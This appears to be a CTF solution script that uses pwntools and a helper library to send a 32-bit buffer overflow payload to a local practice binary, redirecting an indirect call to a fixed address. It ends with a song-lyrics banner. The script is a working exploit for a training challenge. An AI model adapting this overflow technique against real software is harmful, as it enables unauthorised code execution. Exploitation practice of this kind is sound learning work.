# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_hackucf_bof3")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x50)
bof_payload.add_int32(0x10, 0x80486eb)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Save Me                                  |
# +------------------------------------------------+
# | Left by the lunar light                        |
# | toubles are all we find                        |
# | lost our way tonight                           |
# +------------------------------------------------+

